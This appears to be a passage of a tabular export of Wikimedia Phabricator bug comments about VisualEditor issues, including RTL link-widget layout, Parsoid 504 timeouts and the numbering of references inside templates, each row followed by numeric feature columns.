+https://gerrit.wikimedia.org/r/72056",,,1373483413,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-rou7bduh6enhafdxh2lv,task_subcomment,,True,c1,3,False,,,1,,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,0
+242450,VisualEditor: Link input widget is not oriented for RTL,"Change 72056 had a related patch set uploaded by Mooeypoo:
+Layout fix for Link Surface in RTL
+
+https://gerrit.wikimedia.org/r/72056",,,1372981428,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-rou7bduh6enhafdxh2lv,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+242444,VisualEditor: Link input widget is not oriented for RTL,"This depends on the Frame rtl fix, which will add directionality inside frames, and allow for conditional flips (and/or also allow CSSJanus to eventually work inside the frames)
+
+I took a look at the code, the flip itself is relatively easy, but I am missing the ve-rtl/ve-ltr classes that would be there after the frame fix.",,,1372741169,,PHID-USER-zq6nzfwxwkyliljd4lfy,False,,,PHID-TASK-rou7bduh6enhafdxh2lv,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,0,1,0,1,0,1,1,0,0,1,0,1,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,1,1,0,0,0,1,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0
+242438,VisualEditor: Link input widget is not oriented for RTL,"Created attachment 12713
+A simple mockup that I made in GIMP to show how it is supposed to look
+
+The V icon in the menu is supposed to be moved to the right side, too.
+
+Updated screenshot.
+
+**Attached**: {F11431}",,,1372670380,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-rou7bduh6enhafdxh2lv,task_subcomment,,True,c1,3,False,,,0,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+52481,"VisualEditor: <u><u> created, and meta-data removed, from [[Bahá'u'lláh]] on edit","https://en.wikipedia.org/w/index.php?title=Bah%C3%A1%27u%27ll%C3%A1h&diff=562302216&oldid=561967071 - finding out browser/OS now.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1372631880,,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-7n67l5aimznnhmya4iwf,task_description,open,True,c1,2,False,False,,-1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+241956,"VisualEditor: <u><u> created, and meta-data removed, from [[Bahá'u'lláh]] on edit","Do we know how this was caused, how to reproduce the issue, if VE was even responsible for it (rather than Parsoid), or if it's since been fixed?",,,1416189671,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-7n67l5aimznnhmya4iwf,task_subcomment,,True,c1,3,True,,,72,,0,0,0,1,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,0,0,0,0,0,0
+241952,"VisualEditor: <u><u> created, and meta-data removed, from [[Bahá'u'lláh]] on edit","It's Windows 7, Firefox 21.0; I attempted to make a similar edit to the article using Chrome and received a message that said, ""Warning: Your edit may have been corrupted – please review before saving."" I've asked at http://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback#Addition_of_.3Cu.3E.3C.2Fu.3E.3Cu.3E.3C.2Fu.3E_and_removal_of_categories. if he sees it, too.",,,1372685856,,PHID-USER-joqqkabmjmvxeucx4ni2,False,,,PHID-TASK-7n67l5aimznnhmya4iwf,task_subcomment,,True,c1,3,False,,,0,,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,0
+52475,VisualEditor: More gracefully handle situations where Parsoid returns a timeout failure code (HTTP 504),"Trying to ""Edit"" on http://en.wikipedia.org/wiki/List_of_Advanced_Dungeons_%26_Dragons_2nd_edition_monsters after a minute or so results in a popup ""Error loading data from server: error. Would you like to retry?"". Trying again, repeats the issue
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=39057",Medium,50.0,1372620960,1394672264.0,PHID-USER-2mkpm2voxepwvz7abjug,False,,False,PHID-TASK-ttp4fmqdy7axj4tku4zm,task_description,resolved,True,c1,2,False,False,False,-1,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,1,0,1,0,1,0,0,0
+241657,VisualEditor: More gracefully handle situations where Parsoid returns a timeout failure code (HTTP 504),"Change 118398 merged by jenkins-bot:
+More gracefully handle situations where Parsoid returns a timeout failure code (HTTP 504)
+
+https://gerrit.wikimedia.org/r/118398",,,1394672072,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ttp4fmqdy7axj4tku4zm,task_subcomment,,True,c1,3,False,,,36,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,1,1,0,0,1,0,0
+241651,VisualEditor: More gracefully handle situations where Parsoid returns a timeout failure code (HTTP 504),"Change 118398 had a related patch set uploaded by Alex Monk:
+More gracefully handle situations where Parsoid returns a timeout failure code (HTTP 504)
+
+https://gerrit.wikimedia.org/r/118398",,,1394667684,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ttp4fmqdy7axj4tku4zm,task_subcomment,,True,c1,3,False,,,36,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,1,1,0,0,1,0,0
+241646,VisualEditor: More gracefully handle situations where Parsoid returns a timeout failure code (HTTP 504),"(In reply to James Forrester from comment #4)
+> Possibily we could, instead of giving the user the error code, we could have
+> a pop-up saying ""It looks like editor is currently unavailable; would you
+> like to edit in source mode instead?"" with an OK that takes you to
+> action=edit and a cancel that returns you to action=view? Maybe for
+> error-tracking purposes we could add <small>Parsoid returned 504</small> or
+> <small>Parsoid not available</small> after the general call-to-action?
+
+Basically done this after checking with Roan about how to reproduce this error, without the small text underneath. Confirm dialogs don't allow you to use HTML markup.",,,1394667530,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-ttp4fmqdy7axj4tku4zm,task_subcomment,,True,c1,3,True,,,36,,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,1,1,1,1,1,1,1,1,0,0,1,1,0,0,0,1,0,0,0,1,0,1,0,1,0,0,1,0,0,1,0,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,1
+241643,VisualEditor: More gracefully handle situations where Parsoid returns a timeout failure code (HTTP 504),We'll help. :-),,,1391913718,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ttp4fmqdy7axj4tku4zm,task_subcomment,,True,c1,3,True,,,31,,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0
+241640,VisualEditor: More gracefully handle situations where Parsoid returns a timeout failure code (HTTP 504),(resetting assignee - I had issues trying to properly reproduce Parsoid timeouts like this on my machine),,,1391879277,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-ttp4fmqdy7axj4tku4zm,task_subcomment,,True,c1,3,True,,,31,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+241638,VisualEditor: More gracefully handle situations where Parsoid returns a timeout failure code (HTTP 504),"I'm pulling this from being a blocker to bug 50848, given the reduced impact now that it works on the second try.",,,1373502193,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ttp4fmqdy7axj4tku4zm,task_subcomment,,True,c1,3,True,,,1,,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+241636,VisualEditor: More gracefully handle situations where Parsoid returns a timeout failure code (HTTP 504),"VE currently sets a 100s timeout, but in practice we often don't get there because the nginx proxies that terminate HTTPS and IPv6 traffic have a 60s timeout.",,,1373482219,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-ttp4fmqdy7axj4tku4zm,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,1,1,0,1,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+241632,VisualEditor: More gracefully handle situations where Parsoid returns a timeout failure code (HTTP 504),"(In reply to comment #5)
+> Previewing that page also works in about 30 seconds.
+
+Actually closer to 70 on re-test.",,,1373481412,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-ttp4fmqdy7axj4tku4zm,task_subcomment,,True,c1,3,True,,,1,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1
+241627,VisualEditor: More gracefully handle situations where Parsoid returns a timeout failure code (HTTP 504),"After upping the Varnish backend timeout to 5 minutes http://en.wikipedia.org/wiki/List_of_Advanced_Dungeons_%26_Dragons_2nd_edition_monsters?veaction=edit works now despite timing out in VE once. Hitting 'retry' re-joins the ongoing render, and returns the page pretty quickly. Previewing that page also works in about 30 seconds.
+
+You might want to tweak your timeouts / UI to reflect this change. As long as there is no timout from Varnish the render is still ongoing.
+
+More testing is needed with even larger pages. Bug 51053 will be closed when that is done.",,,1373481211,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-ttp4fmqdy7axj4tku4zm,task_subcomment,,True,c1,3,True,,,1,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,1,0,0,1,1,0,1,0,1,0,0,0,0,0,1,1,0,1,1,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,1,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,0,0,1,1,0,0
+241623,VisualEditor: More gracefully handle situations where Parsoid returns a timeout failure code (HTTP 504),"Possibily we could, instead of giving the user the error code, we could have a pop-up saying ""It looks like editor is currently unavailable; would you like to edit in source mode instead?"" with an OK that takes you to action=edit and a cancel that returns you to action=view? Maybe for error-tracking purposes we could add <small>Parsoid returned 504</small> or <small>Parsoid not available</small> after the general call-to-action?",,,1373335525,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ttp4fmqdy7axj4tku4zm,task_subcomment,,True,c1,3,True,,,1,,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,1,1,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,1
+241619,VisualEditor: More gracefully handle situations where Parsoid returns a timeout failure code (HTTP 504),Looks like the timeout here is on the Varnish/Parsoid side (API request on edit fails with error 504 after 60 secs).,,,1373334999,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-ttp4fmqdy7axj4tku4zm,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+241613,VisualEditor: More gracefully handle situations where Parsoid returns a timeout failure code (HTTP 504),"Re: timeouts, need to be either handled more gracefully or we'll need to VE-blacklist articles where it occurs for now.",,,1373133953,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-ttp4fmqdy7axj4tku4zm,task_subcomment,,True,c1,3,False,,,0,,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,0,1,1,1,1,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,1,0,0
+241606,VisualEditor: More gracefully handle situations where Parsoid returns a timeout failure code (HTTP 504),I think this is probably related - editing on large pages such as California is considerably slower when using VE than it is using the old editor. A contributor complained of slowness with this edit (http://en.wikipedia.org/w/index.php?title=California&diff=562339624&oldid=562339237) and I found the same issue with mine (http://en.wikipedia.org/w/index.php?title=California&diff=562390635&oldid=562351322),,,1372684698,,PHID-USER-joqqkabmjmvxeucx4ni2,False,,,PHID-TASK-ttp4fmqdy7axj4tku4zm,task_subcomment,,True,c1,3,False,,,0,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,1,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,1,1,0,1,1,0,0
+52474,"In VisualEditor, references in templates cannot be reused and are numbered separately from references in the text.","References added by templates are currently not very well integrated into the #visualeditor UI. Their footnotes are visible as #parsoid parsed output on the surface, but:
+
+1. the number in square brackets on the footnote does not necessarily fit with other numbers visible from other footnotes
+2. they do not appear in the reference lists in the editor
+3. they do not appear in the list of references to re-use
+
+A simple demonstration of the first two issues can be seen here:
+
+| Reading | VisualEditor |
+| {F56437741} | {F56437750} |
+
+-----------------------------------
+
+For example, look at [[https://en.wikipedia.org/w/index.php?title=Popocatépetl&oldid=667057679|this old version of w:en:Popocatépetl]]. It has 21 references, 3 of them in the infobox only. When you [[https://en.wikipedia.org/w/index.php?title=Popocat%C3%A9petl&oldid=667057679&veaction=edit|open it in VE]], those first 3 cannot be accessed from the re-use menu. In addition, all 21 appear in the references list, but each reference x in the text corresponds to entry x + 3 in the references list. 
+
+**See Also**:
+{T52505}
+{T53289}
+{T54398}
+{T55777}
+{T54262}
+
+Possible duplicate but might have additional implications: 
+{T87134}",Medium,50.0,1372620660,,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-n26jfot72gcfg6mgq6wx,task_description,open,True,c1,2,False,False,,-1,,1,0,1,1,1,1,1,0,0,0,1,0,0,1,0,0,0,1,1,0,1,0,0,0,1,0,0,0,1,0,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,0,0,0,1,0,1,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,1,1,1,1,0,0,1
+2378204,"In VisualEditor, references in templates cannot be reused and are numbered separately from references in the text.","I took the freedom to summarize the overall problems surfacing in this task. I guess it makes sense to try to solve the first two issues described so it's less confusing for the users.
+
+The third options seems not so straight forward at the moment. Templates of any kind can include a references and it would be unclear on how a re-use should look like or even how a reference transcluded from a template can get a name that's needed for the re-use.",,,1721046082,,PHID-USER-k5wpqok2x66oei3wguaf,False,,,PHID-TASK-n26jfot72gcfg6mgq6wx,task_subcomment,,True,c1,3,True,,,576,,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,0,0,0,0,0,1,0,1,0,1,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,1,0,1,1,0,0
+1068586,"In VisualEditor, references in templates cannot be reused and are numbered separately from references in the text.",Solving this (and its subtasks) would be a huge success. I'd be grateful.,,,1526397283,,PHID-USER-qdbrv6swdxlgemqwwbuw,False,,,PHID-TASK-n26jfot72gcfg6mgq6wx,task_subcomment,,True,c1,3,False,,,254,,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,1,0,1,0,0,0
+759604,"In VisualEditor, references in templates cannot be reused and are numbered separately from references in the text.",">>! In T52474#1772377, @Halibutt wrote:
+> Since T114105 was merged into this ticket
+
+In case anyone following that original ticket (or several like it) is confused about why these get merged here: 
+
+VisualEditor handles regular ""Harvard"" (parenthetical) citations perfectly; see true Harvard style at https://en.wikipedia.org/w/index.php?oldid=521737742&veaction=edit as an example.   Plain Harvard is just plain text, after all; a proper Harvard citation is just `(Author Date)` with an optional page number.  Any system that lets you type common characters can handle plain Harvard citations.
+
+The problem is when it's not truly Harvard citations, but instead it's a non-Harvard [[https://en.wikipedia.org/wiki/Wikipedia:Citing_sources#Short_citations|short citation]] wrapped up in ref tags using a template such as {{sfn}} – when the system is presented with `{{sfn|Author|Date|123}}` instead of  `<ref name=""Author Date"">Author Date, page 123.</ref>` (which VisualEditor can handle) or `(Author Date, page 123)` (which VisualEditor can also handle). 
+
+In that case, the main technical issue is exactly the same as `{{infobox|field=data<ref>Source</ref>}}`:  the ref is stuck in a transclusion rather than in the article being edited.  This has multiple effects, including impossible numbering and bad displays (because the transcluded doc gets its own <references /> list; see T114105 for a screenshot).  As I understand it, some of these problems will be solved here, and others may be fixed through other mechanisms, e.g., {T110909}.  But the bugs get merged here, because it's not possible to merge them to multiple related tasks.
+",,,1478851254,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-n26jfot72gcfg6mgq6wx,task_subcomment,,True,c1,3,False,,,175,,1,1,1,1,1,1,1,1,0,0,1,1,0,0,0,1,0,1,1,1,1,0,1,0,1,0,0,0,1,1,1,1,1,1,1,1,0,1,1,0,0,1,0,1,0,0,0,1,0,1,1,1,0,1,0,0,0,0,1,0,0,1,0,1,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,1,1,1,1,1,1,1,1,0,0,1
+556154,"In VisualEditor, references in templates cannot be reused and are numbered separately from references in the text.","Since T114105 was merged into this ticket, is there anything I could do to help solve this issue? ",,,1446421308,,PHID-USER-ddcrbue3iyorn42wkwbo,False,,,PHID-TASK-n26jfot72gcfg6mgq6wx,task_subcomment,,True,c1,3,False,,,121,,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,0
+556153,"In VisualEditor, references in templates cannot be reused and are numbered separately from references in the text.","Just a friendly reminder, that while T114105 was merged into this ticket, it has nothing to do with it. Nothing to do with ref numbering or with ref accessibility from the re-use menu. Actually, it's more about how VE displays templates as such, not how it handles references. See the attached screenshot to see what I'm talking about.
+
+But since it was merged here, is there anything I could do to help solve this issue? ",,,1446421206,,PHID-USER-ddcrbue3iyorn42wkwbo,False,,,PHID-TASK-n26jfot72gcfg6mgq6wx,task_subcomment,,True,c1,3,False,,,121,,0,1,0,1,1,1,0,0,0,0,1,1,0,0,1,1,0,1,1,1,1,0,1,0,1,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,0,1,1,0,0
+556151,"In VisualEditor, references in templates cannot be reused and are numbered separately from references in the text.","Just a friendly reminder, that while T114105 was merged into this ticket, it has nothing to do with it. Nothing to do with ref numbering or with ref accessibility from the re-use menu. Actually, it's more about how VE displays templates as such, not how it handles references. 
+
+But since it was merged here, is there anything I could do to help solve this issue? ",,,1446420835,,PHID-USER-ddcrbue3iyorn42wkwbo,False,,,PHID-TASK-n26jfot72gcfg6mgq6wx,task_subcomment,,True,c1,3,False,,,121,,0,1,0,1,1,1,0,0,0,0,1,1,0,0,1,1,0,1,1,1,1,0,1,0,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,0,0,1,0,0
+516775,"In VisualEditor, references in templates cannot be reused and are numbered separately from references in the text.",This information is already shown in context and the reference list. If we change the numbering that will probably be more confusing.,,,1440781886,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-n26jfot72gcfg6mgq6wx,task_subcomment,,True,c1,3,True,,,112,,0,0,0,1,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,1,0,0
+516762,"In VisualEditor, references in templates cannot be reused and are numbered separately from references in the text.","As a stop-gap measure, is it feasible to have the footnotes that are contained in templates (and therefore not ""in"" the document) be displayed differently?  You would get the usual [1] for whatever is the first footnote in the article body, but the first one in an infobox would be marked as [X] or [Template 1] or something that doesn't match the typical ones. ",,,1440781461,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-n26jfot72gcfg6mgq6wx,task_subcomment,,True,c1,3,False,,,112,,0,1,0,1,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,1,0,1,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,0,1,1,0,1,0,1,1,0,0,0,0,1
+454943,"In VisualEditor, references in templates cannot be reused and are numbered separately from references in the text.","In the weekly triage meeting on 2015-05-06, we discussed this task. Though we acknowledge that this is moderately confusing for users, fixing this is a very large piece of work (which reflects why it has not been completed in the past two years either). I've marked this as blocked by a piece of work that we hope to finish out this quarter, which will hopefully help make this slightly less epic to fix.",,,1430945384,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-n26jfot72gcfg6mgq6wx,task_subcomment,,True,c1,3,True,,,96,,0,0,1,1,1,1,1,0,1,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,0,0,0,0,1,0,1,0,1,0,0,1,0,1,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,1,0,1,1,0,0
+450272,"In VisualEditor, references in templates cannot be reused and are numbered separately from references in the text.","See [[https://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback#Citation_numbers_messing_up | en-Wiki feedback ""Citation numbers messing up""]]. This problem is repeatedly mentioned on en-Wiki, confuses editors and hinders editing of developed articles with complex reference structures. I would like to propose the whole issue with ""references in templates"" and ""references generated by templates"" as blocker. I am aware, that 5 other tasks are possible related to this problem (See also), maybe the whole topic area needs another fresh look for a solution. - the problem is known for almost 2 years now, and should get a higher priority and more frequent updates on its status.",,,1430229351,,PHID-USER-cbmsqiuerftutmt523wv,False,,,PHID-TASK-n26jfot72gcfg6mgq6wx,task_subcomment,,True,c1,3,False,,,95,,0,0,0,1,0,1,1,0,0,0,1,0,0,1,0,1,0,1,1,0,1,1,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,0,0,1,1,0,1,0,1,1,1,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,1,1,0,1
+399306,"In VisualEditor, references in templates cannot be reused and are numbered separately from references in the text.","It doesn't seem to have been mentioned above that this bug can cause the loss of a citation, which might affect the severity or priority.  If you have a ref inside a group note (e.g. inside a tag) and delete all other copies of the ref, including the base copy, VE is unable to transfer the base text to the copy of the ref in the tag, so the citation is lost.",,,1421203877,,PHID-USER-ufjbf3qatjamiwoal5fp,False,,,PHID-TASK-n26jfot72gcfg6mgq6wx,task_subcomment,,True,c1,3,False,,,80,,1,0,0,1,1,1,1,0,0,1,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,0,0,1,1,1,1,1,1,1,0,0,0,0,0,1,0,1,0,0,0,1,0,1,1,0,0,0,0,1,1,1,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+392866,"In VisualEditor, references in templates cannot be reused and are numbered separately from references in the text.","Notes for testing the future fix: 
+
+- The references placed in the Infobox template should be numbered correctly along with the other page references
+- There should be no discrepancy in displaying reference numbering in Read mode or VE mode
+- also, check reference for class=""toccolours"" - the warning msg should be displayed: ""This reference is defined in a template or other generated block, and for now can only be edited in source mode.""
+",,,1419470550,,PHID-USER-4alekd35in5tg53zpsl4,False,,,PHID-TASK-n26jfot72gcfg6mgq6wx,task_subcomment,,True,c1,3,True,,,77,,0,0,0,1,0,1,1,0,0,0,1,0,0,1,1,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,1,0,0,1,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,1,0,1,0,0,0
